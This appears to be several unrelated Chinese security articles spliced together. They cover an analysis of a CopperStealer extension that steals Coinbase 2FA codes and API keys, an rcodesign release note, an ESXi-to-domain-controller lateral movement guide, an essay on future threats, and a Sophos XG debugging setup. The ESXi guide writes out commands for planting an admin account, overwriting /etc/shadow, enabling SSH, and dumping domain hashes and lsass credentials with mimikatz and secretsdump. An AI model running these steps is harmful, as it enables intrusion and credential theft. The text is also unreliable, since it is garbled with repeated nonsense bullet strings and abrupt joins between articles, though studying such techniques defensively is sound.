2.如果請求成功,API會向內容腳本發送“okApi”消息並開始解析錢包信息。如果錢包餘額不為零,它會嘗試將85%的可用資金發送到攻擊者控制的錢包。

7.png

尋找餘額不為零的錢包

8.png

竊取85%的可用資金

交易請求的結果也會被洩露到http://

1.如果不成功,API會向內容腳本發送“errorApi”消息。 “errorApi”消息包含來自https://www.coinbase.com/settings/api的CSRF令牌作為一個參數,以及對新API密鑰創建請求的響應。

2.Method “createApi”。

此消息是從內容腳本接收的,並包含一個雙因素身份驗證(2FA)代碼作為參數之一。此代碼用於打開新的模式窗口以創建API密鑰。通常,當你在CoinbaseAPI設置中點擊“+NewAPIKey”時,會請求一個2FA代碼,如果代碼正確,就會出現模式窗口。

在創建新API的第二步中,需要選擇錢包及其權限。惡意擴展請求所有帳戶的所有可用權限。

9.png

選擇所有帳戶和權限

之後,需要再插入一個身份驗證代碼,然後就會顯示一個帶有新生成的API密鑰的表單。如果成功,後台腳本然後繼續從“API Key details”表單提取兩個API密鑰(API Key和API Secret),將它們保存到Chromium的本地存儲以供以後使用,並將它們提取到http:///traffic/step。如果API身份驗證不成功,將向內容腳本發送一條“retryApi”消息。

內容腳本分析我們進一步研究了內容腳本,以分析負責從受害者那裡竊取2FA密碼的進程。內容腳本包含以下語言的消息列表:

马云惹不起马云英語(en)

马云惹不起马云德語(de)

马云惹不起马云西班牙語(es)

马云惹不起马云法語(fr)

马云惹不起马云日語(jp)

马云惹不起马云印度尼西亞(身份證)

马云惹不起马云意大利語(它)

马云惹不起马云波蘭語(pl)

马云惹不起马云葡萄牙語(pt)

马云惹不起马云俄語(ru)

马云惹不起马云泰語(日)

马云惹不起马云 土耳其語(tr)

每條消息都包含電話和身份驗證器的標題、描述和錯誤消息。

對於“phone”,顯示的英文信息顯示為:

马云惹不起马云“title”:“請輸入手機驗證碼。”

马云惹不起马云“description”:“輸入手機短信提供的兩步驗證碼。”

马云惹不起马云“message”:“該代碼無效。請再試一次。”

對於“authenticator”,顯示的英文消息如下所示:

马云惹不起马云“title”:“請輸入驗證器的驗證碼。”

马云惹不起马云“description”:“輸入你的身份驗證應用程序提供的兩步驗證碼。”

马云惹不起马云“message”:“該代碼無效。請再試一次。”

內容腳本最初向/api/v3/brokerage/user_configuration發出請求,以查看用戶是否已登錄。然後腳本向後台腳本發送一個“homeStart”消息,並開始使用onMessage偵聽類似於後台腳本進程的“method”屬性。如果它接收到一個方法屬性等於“okApi”的消息,它會隱藏代碼加載器並移除模式窗口。如果它接收到一個方法屬性等於“errorApi”的消息,它就會創建一個模式窗口。

10.png

顯示要求輸入身份驗證代碼的模式窗口

模式窗口有輸入框並偵聽oninput事件。如果每個輸入框都包含一個數字,則將它們連接成一個“tfa”(2FA)變量,並作為“createApi”消息的參數發送到後台腳本。代碼加載器也會顯示出來。

模式窗口有六個輸入框,需要輸入六位數,這是在使用驗證器時提供的。如果受害者通過短信使用身份驗證,那麼身份驗證代碼有7位數字,模式窗口將多一個輸入框。此邏輯在模式窗口代碼中實現。收到的方法屬性等於“retryApi”的消息會刪除所有插入的數字,並以紅色顯示錯誤消息。

11.png

輸入驗證碼後,出現錯誤信息

總結CopperStealer的幕後攻擊者會經常發起攻擊,研究人員將繼續監控他們的部署,因為攻擊者找到了更多針對不知情的受害者的方法。在分析此進程時,研究人員發現此擴展程序與之前報告的惡意軟件組件之間存在多個相似之處,其中之一是惡意擴展程序和CopperStealer是從之前記錄的同一個dropper和相同的傳輸載體傳播的。

另一個驚人的相似之處是惡意擴展的命令和控制(CC)域具有與域生成算法(DGA)域相同的格式,這些域被追溯為屬於先前版本的CopperStealer。格式是由16個十六進製字符組成的字符串。此外,他們的兩個CC服務器都是使用PHP框架“CodeIgniter”構建的。這些屬性向我們暗示,惡意軟件和擴展程序背後的開發人員或運營商可能存在關聯。

建議用戶和組織從官方平台下載他們的軟件、應用程序和更新,以緩解CopperStealer等惡意軟件帶來的風險和威脅。

蘋果系統運行著一些現有的最大和最賺錢的軟件應用程序生態系統。理論上,要進入這些生態系統,傳統上需要使用macOS,並加入蘋果開發者計劃(Apple Developer Program)。

如果你想為Apple 操作系統開發應用程序,你可能會使用Apple 的操作系統和Apple 的官方工具進行開發和分發。但對於開源開發人員通常希望以最小的努力分發跨平台應用程序。在整個編程語言生態系統中,你運行的操作系統被抽象為許多應用程序的實現細節。通過創建macOS、iOS 等開發需要直接訪問macOS 和通常高於市場價格的Apple 硬件的要求,蘋果軟件生態系統強加的分發要求是有效的排他性,並阻止利益相關方對進入其生態系統。

在蘋果平台上發佈軟件的一個問題是代碼簽署和公證,即你需要:

1.在應用程序中嵌入加密簽名,有效地證明來自Apple Developer Program 關聯帳戶的真實性。 (這是簽名。)

2.將你的應用程序上傳到Apple,以便他們對其進行檢查,驗證它符合要求,可能還會存儲一個副本。然後,蘋果會發布自己的加密簽名,即公證書,然後需要將其嵌入到正在分發的應用程序上,這樣蘋果的操作系統才能信任它。 (這是公證。)

從歷史上看,這些步驟需要Apple 專有軟件專門從macOS 運行。這意味著,即使你在Rust、Go 等軟件生態系統或Web 平台中,你可以在不直接訪問macOS 的情況下交叉編譯應用程序(測試顯然是另一回事),如果你願意,你仍然需要macOS簽署和公證你的申請。由於默認的安全設置,在macOS上需要有效的簽名和公證。在iOS 等移動平台上,除非你運行的是越獄設備,否則不可能發布未經簽名和公證的應用程序。

如果我不需要macOS來構建我的應用程序,為什麼我要被迫把蘋果設備作為我的軟件發布過程的一部分?為什麼在發布的時候,我必須簽署和公證我的申請,它不能更簡化嗎?

如果能重新實現Apple 代碼簽名,以便開發人員有更多的靈活性和機會將應用程序分發到Apple 的生態系統。其最終目標是擴大Apple 生態系統對更多開發者的訪問。

首先,得益於rcodesign 0.14.0的發布。這是我第一次發布rcodesign 的預構建二進製文件(Linux、Windows 和macOS)。

macOS rcodesign 可執行文件是自簽名的,它由GitHub Actions Linux 運行程序使用YubiKey 獨有的代碼簽名證書進行簽名。

2021年,apple-codesign 項目/Rust crate 發生了很大變化!只需查看更改日誌!

這個項目從tugger-apple-codesign改名而來。

如果你是通過cargo install 安裝的,你需要cargo install --force apple-codesign 來強制Cargo 用另一個crate 中的一個來覆蓋rcodesign 可執行文件。

rcodesign CLI可執行文件仍然存在,而且比以往任何時候都更強大。你仍然可以在Linux、Windows、macOS和任何其他平台上對Apple應用程序進行簽名,你可以在這些平台上編譯Rust程序。

Sphinx 文檔請點擊這裡,這與PyOxidizer 的文檔一起發佈在readthedocs.io 上(因為我使用的是monorepo)。那裡有一些通用文檔,例如有關如何通過將你自己的替代代碼簽名PKI 部署到並行Apple 來選擇性地繞過Gatekeeper 的指南。

支持簽名包、DMG 和.pkg 安裝程序當我去年宣布這個項目時,只有Mach-O 二進製文件和非常簡單的.app 包是可簽名的。即便如此,也有很多微妙的問題。

Rcodesign sign現在可以對更複雜的包進行簽名,包括許多嵌套的包。有報導稱iOS應用包簽名正確。

該工具還支持簽名.dmg磁盤映像文件和.pkg扁平封裝包安裝程序。

已知的簽名限制現在記錄在Sphinx 文檔中。

我相信rcodesign 現在支持對用於Apple 軟件分發的所有主要文件格式進行簽名。

支持Linux、Windows 和macOS 上的公證

蘋果發布了一個名為Transporter的Java工具,可以讓你上傳文物到蘋果進行公證。它們使這個工具可用於Linux、Windows,當然還有macOS。

雖然這個工具不是開源的,但使用這個工具可以讓你在Linux 和Windows 上進行公證,同時仍然使用Apple 的官方工具與他們的服務器通信。

rcodesign 現在支持調用Transporter 並將工件上傳到Apple 進行公證。我們現在支持公證包、dmg 磁盤映像和.pkg 扁平封裝安裝程序包。我已經成功地從Linux 公證了所有這些應用程序類型。

由於支持對所有應用程序類型進行簽名和公證,現在可以在沒有macOS 參與發布過程的情況下發布Apple 軟件。

YubiKey 集成我嘗試盡可能多地使用我的YubiKey,因為存儲在YubiKey 上的密鑰或私鑰可能比位於某個文件系統上的密鑰或私鑰更安全。如果你破解了我的設備,你很可能會獲得我的私鑰。但是你需要物理訪問我的YubiKey 並強迫或強迫我解鎖它,以獲得訪問其私鑰的權限。

rcodesign 現在支持使用YubiKeys 進行簽名操作。

這確實需要默認的智能卡Cargo 功能。因此,如果手動構建,你將需要例如cargo install --features smartcard apple-codesign.

YubiKey 集成來自yubikey 。這個crate 將直接與macOS 和Windows 中內置的智能卡API 對話。所以如果你有一個啟用了YubiKey 支持的rcodesign 構建,YubiKeys 應該可以工作。通過插入YubiKey 並運行rcodesign smartcard-scan 進行嘗試。

YubiKey 集成文檔可以點此查看。

我甚至實現了一些命令來輕鬆管理YubiKey 上的代碼簽名證書。例如,你可以直接在設備上運行rcodesign smartcard-generate-key --smartcard-slot 9c 以生成新的私鑰,然後rcodesign generate-certificate-signing-request --smartcard-slot 9c --csr-pem-path csr.pem將該證書導出到證書籤名請求(CSR),你可以在developer.apple.com 上交換Applie 頒發的簽名證書。這意味著你可以輕鬆創建其私鑰直接在硬件設備上生成且永遠無法導出的代碼簽名證書。以這種方式生成密鑰比將密鑰存儲在軟件庫(比如蘋果的Keychains)中更安全。

遠程代碼簽名我最感興趣的功能是我稱之為遠程代碼簽名的功能。

我在GitHub託管的Linux GitHub Actions運行程序上簽署了一個macOS通用Mach-O可執行文件,使用的YubiKey物理連接到我桌子旁邊的Windows 11設備上。未在計算機之間複製簽名的應用程序。

我有一個調用rcodesign sign --remote-signer 的GitHub Actions 工作流程。我手動觸發了該工作流程,並開始使用瀏覽器觀察近乎實時的作業輸出。 rcodesign sign --remote-signer 打印出一些指令(包括一堵base64 編碼數據的牆)以指示下一步該做什麼。重要的是,它要求其他人運行rcodesign remote-sign 以繼續簽名過程。

該日誌向我們展示了使用YubiKey 進行連接和身份驗證,以及一些關於與遠程服務器對話的狀態更新。

遠程簽名使我能夠從GitHub 運營的GitHub Actions 運行程序簽署macOS 應用程序,同時使用安全存儲在我的YubiKey 上的代碼簽名證書,該證書插入到距GitHub Actions 運行程序數百公里的Windows 設備上。

這裡發生的是2 個rcodesign 進程通過中央中繼服務器橋接的websocket 相互通信。我免費操作一個默認服務器。服務器是開源的,如果你想運行你自己的服務器,你可以使用terrform模塊,希望只需要花幾分鐘時間。當啟動設備希望創建簽名時,它向請求加密簽名的簽名者發送一條消息。然後將簽名發送回發起者,發起者將其合併。

我設計這個特性時考慮到了CI系統的自動發布(比如GitHub Actions)。我想要一種方法,可以簡化應用程序的代碼簽名和發布過程,而不必給CI中的低信任設備無限訪問我的私人簽名密鑰的權限。這可能在許多其他場景中都是有用的。你是否曾經因為沒有蘋果發行的代碼簽名證書而通過電子郵件或下拉框將應用程序發送給別人簽名?現在你有了一個不需要復製文件的替代解決方案。只要你可以看到啟動設備的日誌輸出,或者將輸出傳遞給你(例如通過聊天應用程序或電子郵件),你就可以在另一台設備上遠程簽署文件!

關於遠程簽名安全性Websockets 通過由第三方操作的中央服務器?授予遠程設備訪問權限以對任意內容執行代碼簽名?你的恐懼和懷疑是100% 有道理的:我也會這麼想!

促進遠程代碼簽名的服務會成為一個非常有利可圖的攻擊目標,如果被濫用,它可能被用來強制使用有效的代碼簽名證書的各方簽署不想要的代碼,如惡意軟件。實現這樣的功能有很多很多很多錯誤的方法。

遠程代碼簽名設計和安全注意事項包含了我的一些高級設計目標和安全評估。遠程代碼簽名協議詳細介紹了通信協議,包括所涉及的加密(實際的加密,而不是流行的加密)。關鍵在於協議和服務器的設計使惡意服務器或中間人無法偽造簽名請求。簽名會話在幾分鐘後過期,第三方或服務器無法注入會導致不需要簽名的惡意消息。通過初始握手獲得會話臨時共享加密密鑰,並從那裡使用對稱加密密鑰,因此對等方之間的所有有意義的消息都是端到端加密的。惡意服務器可以做的最糟糕的事情就是進行拒絕服務。

我相信我的遠程簽名實現比許多常見做法更安全,因為今天的常見做法需要復制私鑰並讓低信任度設備(如CI 工作人員)訪問私鑰或者文件在沒有加密監管鏈的情況下被複製以證明不會被篡改。是的,遠程簽名為遠程訪問引入了使用簽名密鑰的向量。但是按照我的意圖進行實踐,遠程簽名可以消除複製私鑰或授予對它們的無限訪問權限的需要。從威脅建模的角度來看,我認為密鑰訪問中的網絡限制使得遠程簽名比現在許多人使用的私鑰管理實踐更安全。

話雖如此,這裡的星號是我實現了我自己的密碼系統來實現端到端消息安全。如果在設計或實現中存在漏洞,密碼系統可能會崩潰,從而帶來對消息偽造的防禦。屆時,惡意服務器或特權網絡攻擊者可能會強迫某人簽署不需要的軟件。但這很可能是損害的程度:對簽名密鑰的脫機攻擊是不可能的,因為簽名需要存在,而且私鑰永遠不會通過網絡傳輸。即使沒有端到端加密,該系統也比將你的私有密鑰作為一個容易被竊取的CI秘密(或類似的)留在周圍更安全。

Apple 鑰匙串支持從0.14 版本開始,我們現在可以提前支持使用存儲在Apple 鑰匙串中的代碼簽名證書進行簽名!如果你在Keychain Access 或Xcode 中創建了Apple 代碼簽名證書,那麼這可能就是你的代碼簽名證書所在的位置。

我拖延了很長一段時間,因為我沒有意識到這有什麼好處:如果你使用macOS,只需使用蘋果的官方工具。但是隨著rcodesign獲得了對遠程代碼簽名的支持,以及其他一些功能,這些功能可以讓它成為所有平台上蘋果工具的有力替代品,我認為我們應該提供這個功能,這樣我們就不會再阻止人們從keychain導出私鑰了。

Apple 的代碼簽名很複雜。 蘋果的工具和rcodesign之間很容易出現細微差別。

rcodesign 現在有print-signature-info 和diff-signatures 命令來轉儲和比較與代碼簽名相關的YAML 元數據,以便更容易地比較代碼簽名實現甚至多個簽名操作之間的行為。

0x00 前言假定以下測試環境:我們獲得了內網VMware ESXI的控制權限,發現VMware ESXI上安裝了Windows域控服務器。

本文僅在技術研究的角度介紹從VMware ESXI橫向移動到該Windows域控服務器的方法,結合利用思路,給出防禦檢測的方法。

0x02 簡介本文將要介紹以下內容:

马云惹不起马云利用思路

马云惹不起马云常用命令

马云惹不起马云 實現方法

0x03 利用思路通過VMware ESXI管理虛擬機,創建快照文件,從快照文件中提取出有價值的信息。

0x04 常用命令1.查看虛擬機版本vmware-vl2.用戶信息相關(1)查看所有用戶

esxclisystemaccountlist(2)查看管理員用戶

esxclisystempermissionlist(3)添加用戶

esxclisystemaccountadd-itest1-pPassword@1-cPassword@1(4)將普通用戶添加成管理員用戶

esxclisystempermissionset-itest1-rAdmin(5)啟用內置管理員賬戶

默認配置下,dcui是管理員用戶,但是不允許遠程登錄,可以通過修改配置文件的方式設置dcui用戶的口令並啟用遠程登錄。

設置dcui用戶口令為Ballot5Twist7upset,依次輸入:

passwddcui

Ballot5Twist7upset

Ballot5Twist7upset一鍵設置dcui用戶口令:sed -i 's/dcui:\*:13358:0:99999:7:/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:/g' /etc/shadow

啟用dcui用戶遠程登錄:

修改文件/etc/passwd,將dcui:x:100:100:DCUI User:/:/sbin/nologin修改為dcui:x:100:100:DCUI User:/:/bin/sh

一鍵啟用dcui用戶遠程登錄:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

開啟ssh:

vim-cmdhostsvc/enable_ssh3.虛擬機相關(1)查看所有虛擬機

image.png

(2)查看指定虛擬機的狀態

image.png

(3)開啟指定虛擬機,可用於開機和從掛起狀態恢復

image.png

(4)掛起指定虛擬機

image.png

(5)關閉指定虛擬機

image.png

(6)查看指定虛擬機的操作日誌

image.png

4.虛擬機快照相關

(1)查看指定虛擬機的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

includeMemory 設置為true,表示包括內存,否則無法生成.vmem文件。

示例2:

image.png

這個命令等價於vim-cmd vmsvc/snapshot.create 1 test '' false false,不包括內存,不會生成.vmem文件。

(3)刪除快照

image.png

0x05 實現方法1.獲得虛擬機的vmid image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的vmid為1

2.查看虛擬機的快照信息image.png

測試環境下沒有虛擬機快照。

3.為虛擬機創建快照image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的snapshotIndex為1

4.使用volatility分析快照文件volatility是一款開源的取證分析軟件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令語法不同,功能基本相同,最新版本為volatility3,但這裡選擇volatility,理由如下:

马云惹不起马云 volatility有獨立的可執行程序,volatility3需要自己編譯

马云惹不起马云volatility3有mimikatz插件,可以從lsass進程提取數據,volatility3不支持這個插件

(1)定位鏡像文件

搜索後綴名為vmem的文件,命令如下:

image.png

測試環境下,獲得鏡像文件位置為./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上傳volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下載地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作為參數,而.vmem文件通常很大,為了提高效率,這裡選擇將volatility上傳至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看鏡像信息

通過鏡像信息獲得系統版本,命令如下:

image.png測試環境下,獲得Profile為Win2016x64_14393

(4)從註冊表獲得本地用戶hash

命令如下:

image.png

測試環境下,輸出結果:

image.png

(5)從註冊表讀取LSA Secrets

命令如下:

image.png

測試環境下,輸出結果:

image.png

(6)導出所有域用戶hash

需要下載ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

輸出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,導出所有域用戶hash可以使用secretsdump,命令為:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加載mimikatz插件,讀取lsass進程中保存的憑據

volatility_2.6_lin64_standalone不支持加載mimikatz插件,這裡可以選擇將整個快照文件(DC1-Snapshot1.vmem)下載至本地,搭建volatility環境,加載mimikatz插件。

kali安裝volatility的方法:

1. 安裝image.png

2. 測試volatility image.png

3. 添加mimikatz插件下載地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

將mimikatz.py保存至

4.安裝mimikatz插件的依賴image.png

這裡不能直接使用pip2 install construct,construct版本過高會導致在加載mimikatz.py時報錯AttributeError: 'module' object has no attribute 'ULInt32'

5.測試插件image.png

輸出:

image.png

安裝成功。

加載mimikatz插件的命令如下:

image.png

輸出結果:

image.png

補充:

讀取lsass進程中保存的憑據還可以使用以下方法:

1. 將鏡像文件轉成Crash Dump文件

image.png2. 使用Mimilib從dump文件中導出口令

詳細方法可參考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.刪除快照

image.png

0x06 防禦檢測1. 防禦內網VMware ESXI及時更新補丁

關閉內網VMware ESXI的ssh登錄功能

2. 檢測查看內網VMware ESXI登錄日誌

查看虛擬機快照鏡像標誌snapshotIndex是否異常,對於新的虛擬機,新建快照標誌snapshotIndex從1開始累加,刪除快照鏡像不會影響snapshotIndex,例如刪除snapshotIndex為1的快照,再次創建快照時snapshotIndex為2`

0x07 小結本文在技術研究的角度介紹了從VMware ESXI橫向移動到該Windows域控服務器的方法,使用volatility分析鏡像文件,提取關鍵信息,結合利用思路,給出防禦檢測的方法。

雖然互聯網無疑帶來了新的好處,但也帶來了新的問題,因為網絡犯罪分子看到我們越來越依賴網絡連接後企圖大做文章。

網絡釣魚郵件、惡意軟件及勒索軟件攻擊,或竊取銀行資料、密碼及其他個人信息,互聯網為惡意黑客提供了眾多新的途徑來撈錢財、搞破壞。比如,只要看看關鍵基礎設施、學校和醫院如何受到了網絡攻擊的影響。

我們尚未完全保護網絡免受如今的互聯網威脅,不過技術已經在邁進,帶來了我們必須防備的新威脅。

量子計算:密碼破解和貨幣挖掘量子計算是最重大的技術突破之一,它有望能夠快速解決經典計算機無力處理的複雜問題。

這一進步將給科研和社會帶來好處的同時,也會帶來新的挑戰。最值得注意的是,功能強大的量子計算可以快速破解數十年來我們用來保護眾多方面的加密算法,包括網上銀行、安全通信和數字簽名。

目前,量子計算成本高昂,開發量子計算所需的專業知識僅限於大型科技公司、研究機構和政府。但就像任何創新技術一樣,量子計算最終會變得更商業化、更普及,網絡犯罪分子會企圖利用量子技術。

思科Talos的安全研究技術負責人Martin Lee表示,屆時量子計算能夠破解當前的加密算法。 20年前完全合適的加密密鑰長度再也不合適了。

美國網絡安全和基礎設施安全局(CISA)此前警告,現在須採取行動,幫助保護網絡免受借助量子計算的網絡攻擊,尤其是那些支持關鍵國家基礎設施的網絡。

不過,雖然借助量子計算的破壞性網絡攻擊是未來的一大網絡安全威脅,但量子計算機本身可能會成為黑客的誘人目標。

不妨以挖掘加密貨幣的惡意軟件為例。攻擊者將這種惡意軟件安裝在計算機和服務器上,悄然利用他人網絡的資源來挖掘加密貨幣,從中牟利,這一切無需為消耗的資源或算力付費。

比特幣等加密貨幣是由計算機通過解決複雜的數學問題生成的,這類數學問題用量子計算機網絡來解決比較容易。這意味著,如果網絡犯罪分子能夠在量子計算機上植入挖掘加密貨幣的惡意軟件,一下子就能暴富,自己幾乎不需要花一分錢。

趨勢科技的高級防病毒研究員David Sancho表示,只要感染一台量子計算機,就可以開始計算非常複雜的算法。

如果你在量子計算機上有一個加密貨幣礦工軟件,將極大地提高挖礦能力,這成為網絡攻擊的目標,很容易做出這樣的預測。

利用人工智能和機器學習但量子計算不是網絡犯罪分子企圖利用的唯一新興技術,預計他們還會利用人工智能和機器學習方面的進展。

與量子計算一樣,人工智能和機器學習將推動眾多領域的創新,包括機器人及無人駕駛汽車、語音及語言識別以及醫療保健等。

能適應和學習的人工智能可用於正道,但最終一旦人工智能變得更普遍,網絡犯罪分子早晚會利用它幫助提高網絡攻擊的成效。

WithSecure的首席研究官Mikko Hyppönen表示,我們開始看到惡意軟件活動、勒索軟件活動和網絡釣魚活動完全由機器學習框架自動化運作。

利用這項技術的一種手段是,編寫基於文本的生成算法來發送和回復常見的垃圾郵件或商業電子郵件入侵(BEC)活動。

犯罪分子可以依靠一種算法來分析哪些響應最有可能是值得回复的真正受害者,而不是仍然不為所動的人,或者將惡作劇回復發回給垃圾郵件發送者的人,而不是需要人花時間來撰寫和回复郵件。這種現狀意味著你到頭來被機器人程序欺騙。

網絡犯罪分子還可能利用機器學習方面的進展,開發自編程的智能惡意軟件,而不是需要開發人員來支持它,這種惡意軟件可以通過自動應對遇到的網絡防禦來更新自己,從而最大限度地發揮成效。

Hyppönen表示,可以想像,當自編程程序變得功能比現在更強大時,可以完成人類創建的功能,這聽起來很好,但如果換成勒索軟件,情況就不容樂觀了。

勒索軟件可能改變代碼,變得更難理解,而且每次都不一樣,它可能嘗試創建檢測不到的版本。這一切在技術上是可行的,這一幕早晚會出現。

深度偽造但是人工智能被用來構成網絡威脅不僅僅是互聯網的未來問題,如今已經在上演:深度學習被用來支持深度偽造(deepfake),這種視頻看起來像是真實的人或活動,但實際上是假的。

深度偽造被用於政治虛假信息宣傳活動和惡作劇以愚弄政客,它們已經被用於增強BEC及其他欺詐攻擊,網絡犯罪分子使用深度偽造音頻,說服員工授權向攻擊者擁有的賬戶轉移大額資金。

Fortalice Solutions首席執行官兼白宮前首席信息官Theresa Payton表示,深度偽造視頻將用於實施犯罪活動。不僅僅用於操縱,還用於宣傳虛假信息和錯誤信息。

以面向公眾的CEO們為例。他們上電視,發表演講,網上有他們的視頻,比較容易找到他們聲音的錄音,騙子者已經可以通過深度偽造技術利用這些資源模仿他們的聲音。

畢竟,如果員工接到公司負責人的電話,告訴他們做某事,他們很可能會照辦,實施這類攻擊的網絡犯罪分子對此心知肚明。

已有這樣的先例:深度偽造音頻被用來成功地說服某人將資金轉移到不該轉移的地方。隨著深度偽造背後的技術不斷改進,這意味著辨別真假的難度只會越來越大。而越來越讓人擔心的是,我們缺乏真正打擊這種活動的能力。

受感染的物聯網說到互聯網的未來,深度偽造不是網絡威脅可能影響我們日常生活的唯一領域。智能物聯網設備日益成為我們日常生活中的一部分,各種傳感器、電器、可穿戴設備及其他聯網產品出現在家庭、辦公室和工廠等場所。

雖然將物聯網設備連接到家庭和工作場所網絡有一定的優點,但聯網程度提高也為網絡犯罪分子伺機作案提供了更大的攻擊面。

如果為日常設備添加功能和連接,它們變得容易被攻擊。原本不容易被攻擊的設備變得容易被攻擊。不存在安全的計算機,也不存在無法攻破的設備。這是當下發生的一幕,無法阻止,而且會越來越隱蔽。

想想家用電器:它們越來越有可能變得“智能”、聯網。從電視到牙刷,任何東西現在都可以聯網。但對於家電製造商來說,製造聯網設備是比較新的現象,以前許多設備不需要考慮網絡安全威脅。一些廠商甚至可能在設計過程中根本沒考慮到這一點,因而產品容易受到黑客攻擊。

雖然黑客攻擊咖啡機或魚缸聽起來並不令人擔憂,但這類設備是網絡上的節點,一旦被訪問,可以作為跳板,進而攻擊更重要的設備和敏感數據。

雖然物聯網安全有望逐漸改進,但還有另一個問題要考慮。已經有成千上萬缺乏安全的物聯網設備,這些設備甚至可能無法打上安全補丁。

想想幾年後多少智能手機無法接收安全補丁。再想一想迅猛發展的物聯網,如果冰箱或汽車設備可能繼續使用數十年,將會發生什麼?

沒有哪家軟件開發商會支持20年前編寫的軟件。如果廠商不再支持其設備的更新,就應該開放源代碼,以便別人支持更新。

聯網設備已經在整個社會無處不在,整個智慧城市將成為常態。但如果網絡安全和合規不是推動這個趨勢的關鍵力量,可能會給每個人帶來負面影響。

如果你不解決這些問題,將會以前所未有的速度遭到規模空前的攻擊。這確實令人不安。勒索軟件攻擊早晚會劫持智慧城市。智慧城市將成為目標,我們會遇到某種程度的持續性破壞。

網絡安全界上演軍備競賽儘管潛在威脅初露端倪,但業界人士對互聯網未來還是抱以樂觀態度。雖說網絡犯罪分子會使用新技術來幫助改進攻擊水平,但負責保護網絡的人士也會運用同樣的技術幫助防止攻擊。

我們的這種能力越來越強:為惡意行為建立模型,然後使用人工智能、大數據、分析及不同類型的機器學習算法,繼續改進技術。

現在無法阻止一切,因為網絡犯罪分子總是在調整策略,但業界確實能夠阻止更多的低中級類別的威脅。網絡安全在改善,即使新技術即將出現,這並不意味著網絡犯罪分子及其他惡意黑客會輕鬆得逞。

如果比較今天和十年前的計算機安全,就會發現我們在安全方面變得越來越好,攻擊者趁虛而入變得越來越難。

互聯網未來的穩定性取決於今後依然是這樣子。

0x00 前言Sophos UTM和Sophos XG是兩款不同的產品,前者偏向於通用威脅管理,後者偏向於硬件防火牆。本文將要介紹Sophos XG漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云環境搭建

马云惹不起马云jetty調試環境搭建

马云惹不起马云csc配置文件解密

马云惹不起马云 Postgresql數據庫查詢

0x02 基礎知識架構如下圖

image.png

注:圖片引用自https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html

總的來說,分為以下三部分:

马云惹不起马云 Jetty:處理Web數據,將數據轉發至csc作進一步處理

马云惹不起马云csc:主程序:加載Perl Packages,實現主要功能

马云惹不起马云Postgresql:用來存儲數據

我在實際研究過程中,這三部分遇到了以下問題:

马云惹不起马云Jetty:添加調試信息後無法啟動java

马云惹不起马云csc:csc加載Perl Packages後會自動刪除,無法獲得Perl Packages的實現細節

马云惹不起马云Postgresql:用戶權限低,無法查詢數據庫表

下面將要逐個介紹三個問題的解決方法。

0x03 環境搭建參考資料:

https://docs.sophos.com/nsg/sophos-firewall/18.5/Help/en-us/webhelp/onlinehelp/VirtualAndSoftwareAppliancesHelp/VMware/VMwareInstall/index.html

1.下載安裝包官方網站默認只提供最新版本的下載,但是可以通過猜測正確的版本號下載舊版本

例如18.5.3 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.3_MR-3.VMW-408.zip

18.5.2 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.2_MR-2.VMW-380.zip

2.導入VMware Workstation下載得到zip文件,解壓後運行sf_virtual.ovf

3.VMware Workstation網卡配置需要添加兩個網卡VMnet7和VMnet8,VMnet7設置為Host-only和172.16.16.0,VMnet8設置為NAT,具體方法如下:

(1)VMnet7

打開VMware Workstation,依次選擇Edit-Virtual Network Editor.

Add Network.-VMnet7

VMnet7設置為:

马云惹不起马云Type: Host-only

马云惹不起马云Subnet Address: 172.16.16.0

(2)VMnet8

VMnet8設置為:

马云惹不起马云Type: NAT

4.Sophos XG網卡配置Network Adapter設置為VMnet7

Network Adapter 2設置為VMnet8

Network Adapter 3設置為VMnet8

配置如下圖:

image.png

5.啟動Sophos XG默認登錄口令:admin

6.查看IP地址依次輸入1.Newwork Configuration-1.Interface Configuration

得到LAN的ip為172.16.16.16

7.進入Web配置頁面進行激活瀏覽器訪問https://172.16.16.16:4444

註冊頁面選擇:I don't have a serial number(start a trial)

按照提示進行註冊。

註冊成功後,重新訪問https://172.16.16.16:4444進行配置。

0x04 jetty調試環境搭建1.查看Java進程相關信息

執行命令:ps ww|grep java

輸出:

image.png

從輸出中得到Java版本為java-11-openjdk

2.定位配置文件配置文件路徑為/usr/bin/jetty,內容如下:

image.png

3.添加調試參數修改文件屬性:mount -o rw,remount /

在exec所在行添加調試參數:'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000'

4.重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為STOPPED

為了獲得詳細的報錯信息,直接運行/usr/bin/jetty

輸出:

image.png

發現是JDK的問題,這裡選擇替換一個完整的JDK。

5.替換JDK下載jdk-11.0.15_linux-x64_bin.tar.gz並上傳至Sophos XG

備份原文件夾:cp -r /lib/jvm/java-11-openjdk /lib/jvm/java-11-openjdk_backup

